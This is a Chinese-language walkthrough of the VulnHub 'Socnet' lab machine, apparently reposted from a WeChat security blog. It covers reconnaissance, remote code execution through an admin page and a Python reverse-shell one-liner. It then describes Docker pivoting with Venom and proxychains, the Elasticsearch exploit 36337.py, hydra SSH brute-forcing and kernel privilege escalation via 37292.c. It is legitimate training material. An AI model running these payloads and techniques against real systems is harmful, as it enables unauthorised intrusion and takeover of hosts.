VulnHub靶机-Socnet | 红队打靶
2023-5-17 08:2:44 Author: 0x00实验室(查看原文) 阅读量:16 收藏

声明:该篇文章仅供学习网络安全技术参考研究使用,请勿使用相关技术做违法操作。本公众号的技术文章可以转载,能被更多人认可本文的创作内容属实荣幸之至,请在转载时标明转载来源即可.也欢迎对文章中出现的不足和错误进行批评指正!

实战打靶系列第 01 篇文章 

靶机地址:

https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

、主发现

nmap -sn 192.168.56.0/24

靶机的IP地址:192.168.56.104

kali的ip地址:192.168.56.102

二、对靶机进行进一步探测

1、进行端口扫描、服务探测、操作系统探测

nmap -sV -sC -O -p- 192.168.56.104  

靶机开放了22,5000端口,22跑的是openssh的服务,5000跑的是python框架Werkzeug开发的HTTP服务,操作系统探测是linux3.2-4.9

2、用nmap的漏洞库进行扫描

nmap --script=vuln -p22,5000 192.168.56.104

没有发现可以利用的漏洞

3、浏览器访问5000端口

类似留言板,对输入框进行进一步探测,输入"提示长度不够,输入12345"直接留言

4、对5000端口进行目录爆破

dirsearch -u http://192.168.56.104:5000

发现有admin目录

将admin目录拼接5000端口使用浏览器访问

发现这是一个管理员的页面,可以执行任意的代码

结合之前的信息收集,这个网站是python开发的

5、使用python反弹shell

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

成功反弹shell

输入 ip a

发现这里的ip地址和我们的靶机不一致,怀疑可能为蜜罐或者docker容器

进行docker判断

cat /proc/1/cgroup

发现/proc/1/cgroup下有关于docker容器的hash值,可以判断处于docker容器中,也就是处于内网,那么进行内网探测

三、内网主机、主机端口、服务探测

因为处于内网,而且这里的子网掩码有16位,那么使用一个ping -c 1 ip去探测会过于漫长

所以我们使用一个循环代码进行探测

for i in $(seq 1 100);do ping -c 1 172.17.0.$i; done

我们发现只有1和3回包,那么就存在除172.17.0.2的两台主机

因为docker容器里面没有可以利用的工具

1、我们使用venom工具去和kali进行连接,以便于使用kali去访问靶机内网

kali的是x64的,那么在venom的目录下,输入,监听8888端口

./admin_linux_x64 lport 8888

2、python启动一个http服务,将agent_linux_x64运到靶机

wget http://192.168.56.102/agent_linux_x64

启动agent_linux_x64

输入./agent_linux_x64 -rhost 192.168.56.102 -rport 8888

靶机连接成功

使用show命令去查找节点,然后使用goto去连接这个节点

启动一个socks监听

socks 1000

3、使用proxychains4工具去设置代理,访问靶机内网

修改/etc/proxychains4.conf文件

vim /etc/proxychains4.conf   修改为sock5 127.0.0.1 1000(venom开启的socks监听)

SOCKS4只支持TCP应用,而SOCKS5支持TCP和UDP应用

4、使用kali的工具通过代理去探测靶机内网信息

对172.17.0.1进行端口和服务版本的探测

这个结果和上面的172.17.0.1开放的端口和服务相同

访问,与上面的开放的是一样的

对172.17.0.3进行端口和服务版本的探测

proxychains nmap -Pn -sT -sV 172.17.0.3

开放了9200的端口,Elasticsearch服务

猜测Elasticsearch可能存在漏洞

查看是否有漏洞和可以利用的脚本文件

searchsploit Elasticsearch

将第一个复制到当前路径下

searchsploit -m 36337.py ./

简单的阅读代码

需要使用python2调用

proxychains python2 36337.py 172.17.0.3

拿到172.17.0.3  shell

简单的搜索一下,发现当前目录下有passwords文件,查看,发现有用户和密码

那么既然有账号密码,那么尝试使用hydra对192.168.56.104进行ssh爆破

先对hash进行解密(网上有现成的在线工具)

ssh登录

hydra -L user.txt -P pass.txt ssh://192.168.56.104

发现john 1337hack可以登录,ssh登录

成功登陆

四、提权

没有sudo权限,也没有自动任务

也没有suid权限的文件

发现内核版本过低,那么尝试内核提权

searchsploit Linux 3.13.0

发现有可以利用的脚本

将37292.c复制到本地

发现需要使用gcc编译

但是靶机没有gcc

那么我们采用,将编译好的文件和修改过的c代码运送到靶机运行,将代码里面要到gcc编译的地方删除

寻找编译过的ofs-lib.so文件

将37292.c编译

开启python服务,将文件传输到靶机

因为编译的文件要在/tmp目录下,将文件转移到/tmp目录下

运行exp

出现错误,是因为kali 上编译时的 /lib/x86_64-linux-gnu/libc.so.6 动态库高于靶机的

下载libc6_2.19-0ubuntu6_amd64.deb解压,

dpkg -e libc6_2.19-0ubuntu6_amd64.deb

dpkg -x libc6_2.19-0ubuntu6_amd64.deb ./(需要指定路径)

然后通过-Ldir指定解压的文件下的/lib/x86_64-linux-gnu/libc.so.6

输入gcc 37292.c -o exp -Ldir ./lib/x86_64-linux-gnu/libc.so.6 重新编译

重复上面的传文件的操作,把exp重新传到靶机的/tmp目录

运行

提权成功



补充:

在最后提权阶段具有可能遇到如下情况:

解决方案:

http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb

参考资料:

https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5MDY2MTUyMA==&mid=2247489651&idx=1&sn=cba2988c1626debd83c4fb5727f55a4e&chksm=cfd8678cf8afee9aef11faf2461e225f6be56a4cff80aa23e7b666fd9d7d7b56746f36c69d52#rd
如有侵权请联系:admin#unsafe.sh